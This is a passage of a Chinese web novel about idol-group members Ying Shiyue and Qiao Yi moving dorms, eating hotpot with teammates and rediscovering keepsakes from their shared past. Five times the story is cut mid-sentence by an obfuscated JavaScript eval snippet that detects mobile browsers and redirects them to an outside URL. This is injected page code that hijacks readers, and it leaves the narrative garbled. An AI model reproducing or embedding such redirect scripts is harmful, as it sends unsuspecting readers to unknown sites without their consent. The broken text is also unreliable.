况且如今11也不能说不好但是是大家公认的很微妙吧,就是那种一会让人觉得什么都没变还是好朋友,一会让人觉得是不是真的有什么仇 前几天大家讨论搬宿舍的时候,还都觉得他们应该还是要保持距离先微妙一段时间 21L 回复16L:总结:爱过恨过,还爱还恨 能直播维护对方能私下一起排练一起过生日能上双人unit,但也能绕开对方下台,能说“渐行渐远”这种词 当然这不是关键,关键是他们好像很难再像之前那样字里行间非常自然而然说到对方,也不是回避,就是很刻意,提得不多但每次互相提及都能在你组大开特开分析贴,不知道有没有人能get到这种别扭味 24L 首先说渐行渐远已经是一个月之前了 一个月够发生很多事情了 25L 回复21L:如果不是11的话我会说这是两个水平拙劣的新人麦麸搭子不懂怎么自然营业的表现 但这是你链自然而然融入生活式麦麸的祖师爷11,所以我宣布你说得对 28L 别扭就对了,小学生都知道解决别扭最好的办法就是经常在一起玩,还有什么比室友更好的方法吗 33L 不是,lz都没有自证啊,怎么大家就这么信了直接讨论上了啊 36L 因为都知道十月没有单人间了,前几天粉丝在fc问他新室友他没回就已经说明问题了吧 这种大家预料之中的事自然不会被怀疑 ……其实是因为我真的没看见这条问题。应时月心想。 他这么想,也就这么回了一句。其他人见到Link-应时月这个账号的评论,于是都跑过来开玩笑说十月你来了啊,真的要和前夫哥当室友了吗。 应时月想了想,回了一句,“下周大家就知道了哦”。 47. 211 应时月口中的“下周”来得很快。 周日他们又有一场公演,应时月和乔亦完成了他们那版双人落霞的第二场——同第一场一样,到晚上,“时亦”两个字又再度被挂在了热搜上。 有不知道什么成分的自称路人在广场说,总不能他们跳一次就上一次热搜吧,这两个糊逼有这么重要吗。 下面有粉丝阴阳怪气,说“那不然怎么办,要不要让他俩出来发微博道歉说占用公共资源啊”。 应时月莫名其妙笑了一声。 但更多的、来自Link观众内部的评价,都说感觉他们比第一场跳得更顺了。 那是时候开始整活了。应时月心想,还剩六场,留给他们的时间不多。 只不过,在此之前,更重要的事当然还是搬宿舍。 * 周一那天,应时月骑车去新楼看了一眼,回来停车的时候,才后知后觉意识到,他们很快就要从这里搬走,之前让乔亦去找物业腾停车场这事,实际上链团成员们也就只受益了两周左右。 他感觉有点可惜,但也没有再多想——毕竟乔亦说都说了,就当造福这栋楼的下一群住户了。 听说这栋楼已经找到了它的新租户。 这毕竟是热门地段,在Link成员搬离之后,他们这栋楼会成为附近一所大学的宿舍——如今研究生招生越来越多,安排专硕生去住校外宿舍已经成了一种趋势。 应时月本科室友八月底还少见地来找过他,说新宿舍到学校整整两公里路,问应时月那个活了八年的电动车在哪买的。 新楼到这也就十多分钟电动车程,主要是不能距离公司太远,否则大家平日里不太方便。 虽说如此,它同旧楼在公司大楼的两个不同方向。新楼那边明显要荒凉一些,应时月在旁边地铁站门口观察了五分钟,都没见一个人走进去。 当然,这换来的是更好的内部装修和更大的房间。 他们的双人间差不多有原来1.5倍大小,自带了床、桌椅和柜子,此外没什么多余的物件,看上去就像是豪华版的学校宿舍一样。每层楼还自带了一个公用小厨房——虽说根据应时月的经验,大多数人也只会用用其中的微波炉,只有贺景然、唐言之类的人可能会成为它的常客。 他们新房间的房号是211,不知道会先因为每个经历过国内高考的人刻在DNA里的211高校被玩梗、还是会先因为“爱时亦”的谐音被玩梗——反正被玩梗是省不了的。 他们是在公演后台得知这个安排的。于是应时月见乔亦问了一句,是不是专门给他们选的这个房间号。负责安排宿舍的工作人员一脸无辜地说,房间号都是随机摇号给的,摇到211是他们运气好。 如果不是明宸依旧住他斜对面、贺景然被安排在了他旁边的212、唐言和陆语心依然住他正下方的111,而且刚好对上陆语心的生日1月11号的话,应时月差点就相信了。 ——但实际上差挺多的。 别的不说,敢将明宸和贺景然安排成对门,大概率是公司那边有staff在发疯。应时月心想。 不知道是不是他和乔亦如今的重逢给公司带来了非常高的热度,让公司将目光投向了另一对be的一期生cp——但明宸和贺景然的情况实在是太不一样了,说不定几个月之后就有人会吵着搬出二层,只是不知道是谁了。 应时月旁敲侧击找明宸打听了一下,明宸显然对此事并不知情,只叮嘱他让搬家公司注意有几个箱子,里面有易碎品,不要磕碰。 “回来请你和亦哥吃饭,”明宸在电话里说,“麻烦你们了。” 明宸这回在剧组,没时间回来搬宿舍。在离开之前,他就将所有行李打包成了几个箱子,只等公司统一安排的搬家公司车辆来帮忙。 应时月和乔亦则受其委托,给搬家公司的工作人员指路,并盯着他们防止丢件。 同样如此处理的还有远在大洋彼岸、过着悠闲交换生活、每周都发自己在外旅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532603|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行的朋友圈的纪荇和。应时月去问过一句是否需要帮忙,但被林茗予回绝了,这人说他一个人就能解决。 “哦。”应时月说,“那有问题可以随时找我。” * 应时月从新楼参观回来,在楼下大厅拿了几个公司统一买的纸箱子上楼,将他们展开,透明胶封好底部,这才开始环视这个已经生活了六七年的房间。 然后感受到了一丝无从下手。 同大多数Link成员不同,应时月并没有一个在城市里的、名为“家”的居所。 老家有好多年没回了,就算回去,那里也没多少真正意义上属于现在的“应时月”的东西——应时月偶尔会有一种错觉,他的人生在14岁那年被生硬地断开,往前往后是完全不同的、毫无关联的两部分。 尤其是在哥哥去世之后。 所以于应时月而言,如今在Link宿舍的东西,就是他这个人所拥有的全部“家产”。虽说相较于其他人、比如因为同家里闹翻、七年没回去、所以也将宿舍当半个家的陆语心来说,他的东西并不算多,但它们麻烦在琐碎。 最简单的方式当然是一股脑塞进箱子,到了再说。但应时月可以预期的是,如果真的这样做,三五天之后他就会再次花费漫长的时间整理这些内容。 还得是在乔亦在场的时候。 应时月想到这里,觉得还是应该提前整理一下。但在此之前,需要考虑的是另一个问题。 他这里有些生活用品,比如饮水机、冰箱、洗衣机之类,都是当年他们一起买的,还有些当初乔亦消失时没有顺带带走的东西——它们大多很旧、有些损坏,但还能继续运转,都需要他过去和未来的室友来定夺去留。 他犹豫片刻,还是打开了手机里的聊天框,刚准备发消息,就像是有心灵感应一般,对面的消息反而先一步到来。 01: 【你在宿舍吗】 【我可以现在来找你吗,有些搬宿舍相关的事】 48. 约定与火锅 十月: 【在】 【你来吧】 没想到又是和上次一样的情况。应时月刚回复完,等了还不到十秒,门口就传来了乔亦的敲门声。 他跑过去开门。 “下次如果提前到的话,”他一边开门一边随口说,“也可以不用发消息问我。” “但是可能短期内不会有下次了,”乔亦眨了眨眼说,“我会有钥匙的。” 应时月确实一时没反应过来这事。 但反应过来之后,还是顺口反驳了一句:“说不准你明天还来呢。” “既然你都这么说了,”乔亦一听,突然就笑了一声,“那我先约个时间好了,明天我可以几点来?” “上午十点之后都行,”应时月的回答比大脑转动的速度快,他答完,才想起来问,“等等,你要来做什么?” “不是你让我明天还来的吗?”乔亦调侃了一句,这才正色道,“之前有一些没带走的东西……我明天来收一下。” 应时月愣了愣。过了好几秒钟,他才意识到,乔亦说的“之前”不是指某个“前几天”,而是四年前。 乔亦当时走得突然。应时月回到宿舍的时候,才发现这人大概是抽空收拾了一番,带走了一些衣物和必需品。 但很多不那么重要、或者至少看上去不那么重要的物件,都被留了下来——比如床上的抱枕,比如书桌上画了一半的画,比如乔亦的专业课教材,等等。 “早扔了,”于是他说,“你不会觉得我还留着吧?” “哦,扔了就扔了吧,本来也不重要——那就当我来帮忙吧,”乔亦的语气看上去对此并不在意,“可以吗?” 应时月抬起头看乔亦的表情,希望从中窥探自己可能被识破、或者这人只是装作不在意的迹象——同时在心中思考,能不能今晚将那些旧物提前清理出去。 只不过很快,他又打消了这个念头。 清理能清理去什么地方呢。应时月心想,总不能真的扔掉。 “骗你的,”于是他最后还是选择了实话实说,“没扔,你自己想办法处理。” “那好,我明天来清理,”乔亦于是顺着他的话说下去,“那现在先来说说这些家具家电的事情,我的意见是重新买一套。” 应时月有些意外。 他本以为乔亦会先问自己的意见,毕竟这间宿舍现在是他一个人在住——虽说他自己其实没什么意见。 “我知道你觉得都可以,并且也会这么说,”结果下一秒,乔亦就说出了他心中所想,“所以我替你决定了——现在有什么意见吗?” “……没有。”应时月思考了片刻,然后说。 虽说乔亦这问话总让他觉得有些别扭、甚至有点莫名的想要反驳的抵触感,但没有意见确实是没有意见——他们工资不如内娱明星、但也不低,现在很多东西都能以旧换新,都用了这么久了,换掉也不算浪费。应时月想。 “啊?”没想到乔亦反而有些意外,“我都这么说话了,你怎么能没有意见,我还想着等你反驳说不换,然后顺势说……” 他说着说着,突然就停顿住了。 见他骤然的沉默,应时月反而就懂了这人在想什么。 ——如果是四年前的应时月,遇上这种情况,虽然不会明说,但肯定是认为,只要能用就尽量别花多余的钱的。 那会他还有经济压力,生活中处处节省。后来“不彻底报废就是没坏”成了惯性,乔亦认为他会选择节省也成了惯性——即使最初的那道力早就消失了。 大抵就是如此。 应时月想开口说一句,你不用对这些事这么敏感,只是最后没说出来这句话。 “我现在存了挺多钱的,”他最后说,用一种不轻不重的语气,“还是换新的好。” “……这样啊,那也好,”乔亦看着他,过了几秒钟,轻飘飘地点点头,然后将手机解锁,向应时月示意道,“到货还得要几天,额外的箱子柜子可以到时候再说,电器之类的我倒是提前看了一下,挑了些我觉得合适的。” “你不是觉得我会反驳吗,”应时月笑了一声说,“怎么会提前看的。” “如果你一开始没答应和我当室友的话,”乔亦还是用那种看不出心理活动的神色注视着他,“那我总得给自己的新房间选嘛。” 应时月一时没回答。 想必乔亦也知道他在想什么,于是干脆就承认了那个他不会主动问出口的问题的答案:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532604|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知道你想说什么——组室友这事,确实是我先向何姐提的。” 此时此刻,再回看这件事,应时月已经完全不觉得意外了。 虽说这话由自己说出来非常有自作多情之感,但时至今日,要说乔亦回Link时没有重新主动接近自己的想法,估计也没人会信。 “那我看看。”所以应时月干脆就接过了他的手机。 乔亦所筛选出来,都是些比较大众的电器品牌这两年的新款。应时月随便点了几个,看了看各项参数,接着才发现自己也不是很能分辨其中的差异和性价比。 “我觉得按外观选也可以,”乔亦适时开口,“我今天去新楼考察了一下,量了一些数据,留下的都是大小和性能比较适合的。” 应时月语气疑问:“你什么时候去的?” “上午八点,”乔亦眨眨眼说,“你也去逛过了吗?感觉如何?” “还行。”应时月装模作样拖动了一会屏幕,最终还是放弃了提出建设性意见,而是将手机交还给乔亦,“比现在的好点——我觉得我们可以明天先做一下室内规划,再根据需要选。” “那我明天吃过午饭后过来找你,我们可以先给这边的东西装箱,再一起去新宿舍逛一圈,”乔亦于是提出建议,“怎么样?” 应时月答应了下来。 而直到乔亦同他道别,打算出门,他才后知后觉反应过来,似乎他们今晚——本来是没有见一面的必要性的。讨论了一通,最后的结果也只能用“明天再见”来概括。 但无论是他,还是乔亦,都将其作为了再顺理成章不过的一件事。 不过,说到“明天再见”…… 应时月又想了想乔亦刚说的那句话,终于从中捕捉到了让人别扭之处。 “等一下,”下一刻,他开口叫住了准备推门而出的乔亦,“你明天中午准备去哪吃?” “点外卖啊,”乔亦回过头看他,语气很理所当然,但又夹杂着一些期待混杂暗示——不知道这是否是错觉,“我那边做不了饭,明天也没什么去公司的必要。” “你想去吃街对面那家火锅吗?”但无论是不是错觉,应时月都将后半段话说了出来,“等搬走了,可能就没什么机会去了。” 49. 四人桌 毫不意外地,乔亦答应了下来。 他们对面那家火锅店开了挺多年了。总之,从Link宿舍搬到这里开始,它就已经在那里了。 那家店口味很独特,所以一直以来人气都高。队里有时候聚餐会去,但去的时候并不太多,因为他们队大概有一半的人都不能吃辣,那火锅的必要性就显得不那么强。 比起L队队内聚餐,这倒曾经是他们几个一期生聚会的首选地之一,只是这两年也不常去了。 明宸算是六人组里对吃火锅一事最缺乏热情的那个,之前往往都只作为“陪大家一起”的那个角色,没有其他人的时候,应时月也不太会只叫他一起去。所以上次去吃,还是过年那会,跟同样不回家过年的陆语心和留在学校做毕设的贺景然一起。 所以应时月其实也很难说,自己为什么会突然提出这样的建议。 或许就是那个瞬间的突发奇想,也或许确实潜意识里在为了某些事遗憾、或者产生类似于“纪念”的情绪。 但总之,星期二中午12点,四人一起坐在了火锅店。 ——应时月和乔亦都没想到,世界上确实有这么巧的事。 他们走进店里,习惯性上二楼,环视了一圈发现已经没有座位了,正准备回一楼,结果靠窗那边正在说话的人突然扭头过来了。 陆语心冲着他们招手:“没位置了,要不然来拼桌吧?” 贺景然则非常不用心地笑了一声。 比起回一楼坐,两人当然不会拒绝这个建议。 * 两位队友坐的本来就是四人的卡座,陆语心和贺景然各自向内移动一位,应时月和乔亦则在外侧正对而坐。 那两人应该也才来不久,说不定就是截取他们最后一个空位的罪魁祸首——菜还没点完,于是乔亦从陆语心手中接过菜单,开始熟练勾选。 “我点老一套就行。”应时月说。 “大家口味都没怎么变,”陆语心补充了一句,“你一次性勾完也可以。” “好啊,”乔亦点点头,没有任何疑问,就接过了这一职责,“我选完给你们看看,说不定有你们喜欢的新品。” “已经惯性了,”贺景然笑了一声,“每次你都这么说,每次大家都懒得试新品。” 应时月心想,确实是这样。 但乔亦光速勾选完毕之后,还是将菜单递给了他,应时月于是也就浏览了一遍。 以前五人组、或者是加上陆语心一起来聚餐的时候,往往也都是乔亦负责点菜,标准永远是同一套——如同贺景然所说,他们在菜单上已经形成了惯性。 而如今少了两个人,乔亦自然减了量,应时月一排看下去,自己喜欢的菜都在,也没有什么不爱吃的。 他记得以前每次出来吃火锅,都有那么一两盘他绝对不吃的菜。 时间隔得太久,应时月已经不记得那些菜最开始是谁点出来的了,只记得除自己以外的人都会动筷子——但乔亦碰巧就删掉了它们。 应时月捏了捏菜单,顿了顿,才将其递给身边的贺景然。 他见贺景然也浏览了一遍,最后说了句:“我没什么想加的了。” “我就不看了,”陆语心则立刻说,“我什么都可以吃,来者不忌。” 乔亦于是去点单。点完回来又顺口问了句:“小言怎么没和你一起来吃饭,他被贺景然排挤了吗?” “我哪敢排挤总选第一啊,”贺景然立刻回以阴阳怪气,“不要污蔑我。” “……他回家了,”陆语心说,“他家里人最近都不在,东西太多收不完了,他说刚好趁此机会搬点过去。” “哦。”乔亦说,“那可惜了,他错过了一顿饭。” ——我们这群人、甚至加上和我们这群人走得近的,真凑不出来一个家庭正常的啊。听这话的应时月却在想。 他和乔亦不说,贺景然是孤儿院长大的,陆语心和家里七年没联系。 唐言比他们好一点,只不过是再婚家庭没人爱他,所以不常回家。 想到这里,应时月又忍不住抬头看了一眼乔亦。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532605|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以你现在又是怎么回事呢?他在心中提问。 “很多事情直问直说能解答大多数问题,”陆语心非常唐突地开口,说了句和前面聊天内容毫无关系的发言,“你们说对吧?” 应时月转了转视线,陆语心对他眨眨眼,像是想要示意什么。 “我觉得不对,”而在应时月刚想要发言时,贺景然却是先于他开口,将话题引向了……大概并非陆语心本意的方向,“很多问题就是直问直说才会越来越严重的。” “小然说得对,”更意外的是乔亦居然也接了这话,“坦诚是好事,但坦诚有时候反而会事与愿违、最后起到反作用。” 他说到一半,应时月端起杯子,喝了口水,顺便思考了一下这两人究竟想要暗示什么。 “可能有时候,”他最后说,“反作用只是你以为的反作用。” “但你们三个人是真的有话不直说啊,”陆语心叹了口气,“什么叫现身说法。” 他话音落下,空气骤然安静了片刻。 接着是乔亦带头,几个人都掩饰般笑了出声——陆语心注视他们的神色充满了无奈,最后指着桌上的小菜来了句“要不大家先吃饭吧”。 * 这顿饭倒是吃得很愉快。 当然这也是意料之中。如今的局势下,有乔亦在场,就算饭桌上再来个明宸,都不会太不愉快——更别说明宸没来了。 吃过之后,他们一起回宿舍楼。 陆语心和贺景然都说也要下午收行李,于是大家各自回各自的房间。乔亦则按照前一天的安排,直接跟着应时月去他那间屋子。 应时月开门,先走进去,习惯性地将背包放在床上,接着就听到身后房门关闭的声音。 “我家里那群人,现在该死的都死了,”乔亦平淡而稳定的声音随之响起,“我哥的副手现在成功上位,你那天晚上在楼上看的时候,我就是去见他的——我想了想,陆语心说得确实有道理,所以你有什么具体想问的吗?” 应时月骤然扭过头。 50. 拍立得 这样突然的“坦诚”,完全在应时月的预料之外。 他目不转睛般看着乔亦,足足好几秒想不出任何在当前场合下的有效发言。 ——内容都是没那么让人意外的内容,应时月多多少少都如此猜想过,因此并不太对文字本身的含义产生惊讶,最多只有一种“果然如此”这样的想法。 乔亦那位同父异母的哥哥早就被断言过活不太久,他父母身体又很差——应时月不知道他所说的“该死的”那部分究竟是出于感性还是理性的定义,但无论是哪一种,他都不意外。 唯一有点意外的是,接他回家的亲生父亲对他寄予了“成为继承人”的期许,但如今的乔亦显然没有、或者说至少暂时没有走上这样的轨迹。 ——倒是情理之中的结果。 但也不好说呢。应时月又心想。 这个“哥哥的副手”扮演了什么角色、站在什么立场上,应时月暂且不得而知。抛开他希望乔亦主动承认、而非被动回答的那些事,应时月依然有无数可以在此刻提出的问题。 但最后,他只从中挑选了最细枝末节的一个。 “你为什么会知道我在楼上看?” 应时月说。 这话当然有一个万能的回答,就是“我抬头看了”。 应时月当然记得自己没有关灯、也没有拉窗帘——这都不是他的习惯。但乔亦也肯定知道,他并不是想得到这个回答。 “我觉得你可能会看,”乔亦说,“毕竟我没有背包,所以你会怀疑我说要出门这句话的真实性,对吧?” 应时月动了动手指。他又一度产生了……心理活动无所遁形的感觉。 “所以我故意空手来见你,”乔亦继续说,“想看你会不会求证。” “哦,”应时月莫名其妙有点生气,很生硬地回答,“知道了。” “……刚开玩笑的,”应时月答完,乔亦又改口道,“我只是忘记了,出门看到他给我的未接电话才想起来。” 应时月于是皱了皱眉头。 他当然更相信乔亦后一种说法,毕竟是这么具体的理由,一听确实不像是假的。 只是乔亦这句“故意的”听来实在是微妙,但应时月不太想追究了,因此又问:“……我能问多少个问题?” 乔亦神色顿了顿,似乎有些意外。接着他便眨了眨眼,反问了一句应时月无论如何都想不到、但又很情理之中的话:“你想玩海龟汤吗?” 应时月一听这回答,再回过头一想,总算也意识到自己的问题问得过于奇怪了,但也顺水推舟:“也不是不行。” “那等搬宿舍结束,可以叫他们来玩,我这几年搜集过一些新的谜题,”乔亦于是笑了起来,又说,“……至于现在的话,想问多少都可以。” “先欠着吧。”应时月于是说。 “嗯?”乔亦发出了疑问的声音,不知道是没听清、还是没理解,“你说什么?” “我说,”应时月重复一遍,“先欠着,等我想问的时候再回答我。” 乔亦闻言抬头,视线穿过小半个屋子,牢牢锁定在了应时月身上。 “那好,我随时等你的问题,”最后他点点头说,“现在先收东西?” * 这话过后,两人便开始了漫长的、给八年积累下来的屋内物品打包装箱的工作。 客观而言,收了一会之后,应时月就后知后觉地想,这种事本就不是能由他一个人完成的,乔亦的参与才是让事情变得刚刚好。 “很难想象陆语心怎么收得完,”至于乔亦本人,此刻正蹲在进门的位置,一边给衣服装箱,一边说,“就他们宿舍那样子,看着就不像是能收好的,而且小言还临阵脱逃了。” “我觉得他们可能会直接扔掉很多东西,”应时月从衣柜中又搬出一摞书,非常自然而然地接话,“陆语心是不可能有耐心收完他那一屋子……杂物的。” “那倒也是,他确实是这种人,”乔亦的声音继续从拐角传来,“不过,你不会是想说他那一屋子垃圾吧?” 应时月顿了顿,反驳不出来,最后是压低声音笑了一声——他突然觉得此刻的氛围也挺不错的,手头忙起来的时候,他们就这样自然而然来回说话。 就像是很多年前那样。 只不过下一秒,应时月的目光就被新的事物所吸引了。 他如今抱的这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532606|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摞书很杂。有他自己大一的公选教材、有乔亦的专业书,甚至还有他们高中那会的笔记本。 这堆书本大小形状不一,因而在应时月怀中摇摇晃晃。于是,意料之外而又情理之中地,从中不知道哪一本里,掉出来了一张白色的小卡片。 应时月偏了偏头,看乔亦还在低头认真叠衣服,没有向他所在的方向张望的迹象,于是小心翼翼蹲下,将书放在地上,在其掩映下伸手揭开那张白色卡片。 ——是他完完全全意料之外的、一张他自己的拍立得。 * 那还是二选时候的事。 应时月那会坐在属于自己的第一王座之上。会场一片喧哗、来自台上台下,讨论或庆祝着新第一的诞生。 乔亦侧过头看他,没有说一句话,于是应时月也同他对视,一言不发——在这样的场合下,于他们而言,很多心情和想法的传递并不那么需要语言的形式。 直到台下有工作人员举着拍立得相机,示意应时月将目光挪动过去。 他抬了抬嘴角,然后在乔亦冲他摆手时,转向镜头的方向。 头顶上的、属于第一的小皇冠挂饰有点歪,转头的时候像是要掉下来。于是应时月伸手扶了扶它。 相机将画面定格在那一刻。 无论成因如何,呈现在画面上的场景确实是——他伸手搭在新生的皇冠之上,漫不经心般投下视线,身后的金色披风在不知何处而来的风下微微飘扬,像是在昭示着新王的诞生。 链团向来有在总选后拍卖成员签名拍立得的传统。 虽说在竞价的时候,那张照片尚未公开,但应时月早已练就了镜头之下无崩图的实力。加上有这张脸在,毫不意外,他这张签名拍立得被拍出了高价——21126元,卡的是他的公开日11月26号。 这目前为止还是链团史上最贵的一张签名拍立得。贵到应时月签字的时候,一度觉得花重金买这么张签名照很不值。 ——即使这确实是一张神图。竞拍获胜者在微博公开照片后,下面回复好几千条,转发破了万,评论区还有人企图加价收购。 而如今,四年过后,这张照片回到了自己手上。 51. 圣诞树 应时月不动声色地浏览了一遍这一摞书。 他肯定不可能梦游中出价买自己的照片,那这张照片肯定来自于乔亦——应时月想到这里,觉得心情格外复杂。 他抬头看了眼乔亦如常的身影,又匆匆收回视线,心中总有点担心自己引起对方怀疑的心虚感。 虽然理性告诉他,此时此刻心虚的那一方明显不应该是他。 这一摞书本中,排除掉应时月自己所属的以外,剩下的有一本高中物理错题集、一本化学生物的知识点归纳笔记、一本语文作文素材书、两本影印版的乔亦的专业课英文教材,以及数分和高代的教材——乔亦那会脑子过于聪明、所以跑去数院上数学系的基础课去了。 无论是这里面的哪一本……看上去都不像是会用来夹一张照片的。 就是不知道乔亦自己还记不记得。 ——但怎么会不记得呢,应时月又想。无论乔亦就是那个购买者、还是他从原主那收购了照片,这可都是保底值两万一的一张纸片。就算那会的乔亦很有钱,这也不是两块钱。 想到这里,他的思绪被乔亦的声音打断。 “十月,”乔亦指着墙角问,“这些你想一起搬过去吗?” 应时月听到这话,急急忙忙地将拍立得夹进第一本书里,这才装作若无其事般侧过身抬头去看乔亦手指的指向。 那是一些花花绿绿的亮片彩条——花花绿绿是字面意义,被绳子穿好后,沿着天花板的边界线绕了半圈屋子。 是他们这间房为数不多的装饰。 虽说因为在房间里并不太经常会抬头、即使抬头,也早就太过于习惯其存在,所以应时月反应了片刻,才意识到乔亦话语中的指向性。 这些彩条,还是2016年圣诞节的遗留产物。 那会二期生进队还没多久,加上有一群人待不了多久就会退队,Link全团人数就二十出头。他们那天下午开了圣诞节特别公演,晚上便借着公司的场地一同庆祝,顺道给粉丝们集体直播。 当然,一二期生中并没有人是在海外的文化背景中长大的,“圣诞”这样的节日对成员们来说也没有任何特殊意义——归根结底,只不过是一个团建和开特殊公演的由头而已。毕竟,在真正重要的节日里,往往不可能聚齐所有人。 但这不妨碍他们玩得很开心。 虽然乔亦那会只是L队队长,本质上的管辖范围也只有L队的七个人,但因为人少、队伍之间的关联性还很紧密,因而他的“势力范围”实际上早就覆盖了全队,即使是剩下三个队的队长,在有分歧的时候,也会更倾向于接受乔亦的意见。 如果要给链团选个总团长的话,绝对不会有第二人选——他们当时经常这么开玩笑说。 “好吓人啊你们,整天说这种想让我夺权的危险发言,”乔亦听完说,“我可不想当啊,我当这个L队队长已经太足够了。” 不过纵然如此,很多事也确实是他在负责。大到每次公演的统筹安排,小到在圣诞节给全队带来一棵巨大的圣诞树。 应时月那还是第一次知道,圣诞树居然可以是活着的树。 ——虽说在进链团之前,他连圣诞节、万圣节、复活节等等一系列的西方节日的名字都不太能分清。 那棵活着的树后来被挂满了装饰。 乔亦抱了一大箱子溢出的装饰物来公司,成员们则轮流挑选自己喜欢的样式挂在树上。他们几个L队的一期生留在最后,应时月在箱子里翻翻找找,最后扯出了一条长长的、闪耀的彩条。 这种玩意应时月在学校联欢会的时候也见过。只不过乔亦买的,比他们班生活委员买的那些明显要精致得多、看上去完全不是什么塑料质感,其上还有一些金色的星星月亮装饰,在灯光的折射下闪闪发亮。 应时月踩了个凳子,将彩条的尾端系在了圣诞树的树梢。接着拽着它绕树转了三五圈,直到将其轻轻缠绕在了这棵圣诞树之上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532607|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在他之后,作为收尾的、最后一个给树加装饰的是乔亦。 乔亦目标很明确,从箱子的角落拿出一个小小的、按过开关后会发光的金色星星,同样踩着凳子,将其轻轻固定在了树顶——至此,这便成了一棵真正意义的圣诞树。 staff给他们和树拍了合影,发在了链团的官博和fanclub上,说是成员们共同创作的成果。 当然,顺理成章地,又过了几天,等圣诞节的余韵过去,如何处理这棵树便成了新的问题。 成员们在群里一通投票,最后决定的处置方案是,大家瓜分掉那些乔亦不知道从哪搞来的、昂贵的圣诞树装饰,然后将树移植到公司楼下的后院里养着——后来链团成员们来来去去,当初那二十几人,算上乔亦也只剩下七个还在队里,而这棵树倒一直活得很好,甚至成了很多外地粉前来打卡的圣地。 至于瓜分装饰这事,则安排在了一周之后的一场公演后。 虽说这些装饰物都做得很精致,看上去不便宜,但也并没有到需要珍藏的地步——毕竟它们本质无用。但它承载着记忆、因而变得特殊了起来,就好像取走一个部件,就是保存着那会快乐回忆的一部分。 应时月挑了他亲手挂上去的那串彩条,虽说他并不知道能用来做什么。 而乔亦也同他一样,挑选了自己挂上去的星星。他将那颗小星星捧在手里,想了想,又转身递给应时月。 “送给你,”乔亦冲他眨了眨眼,“祝十月哥哥能成为最顶端最闪耀的存在。” 应时月愣了愣,没想到乔亦突然来这么一句。他伸手接过,想说句什么,但不知为何,那一瞬间,语言系统却发生了短暂的短路。 而旁边的陆语心已经开始阴阳怪气了:“小亦你那天提议买这颗星星,不会就是为了送给十月吧?我早就觉得你有滥用职权的心思了。” 乔亦听完,扭头对着他笑了一下,没说是,也没说不是。 52. 真话 再后来,那天晚点时间,应时月抱着他的彩条和星星,骑着载着乔亦一同回了宿舍。 接着两人面对这堆装饰品一筹莫展——毕竟他们的房间中并没有那么多花里胡哨的成分,换成陆语心的宿舍,挂在哪里都不违和,而在他们这边,还确实得思考一下怎么安置。 最后乔亦想了个主意。他伸手指了指天花板的边缘:“你看这条彩条的长度是不是和这条边差不多,我们可以从这边拉到那边去。” 应时月在脑海中思考了一下这个场景,觉得这确实是一个不够显眼、不显得奇怪、但又能随时看到的点子,因此便点点头同意了乔亦的方案。 至于那颗星星…… 应时月不由自主地继续联想,接着便很快回忆起来,因为那是一个扁平的星星,所以顺理成章地、被他们粘在了照片墙的顶端。 ——想到这里,他突然感觉到了一点若有若无的慌张。 怎么就忘了还有照片墙这回事。 他心想。 说是收拾房间,然而这个房间里处处都是过去这么多年累积起来的痕迹——它们承载了太多曾经一起同行的日子。 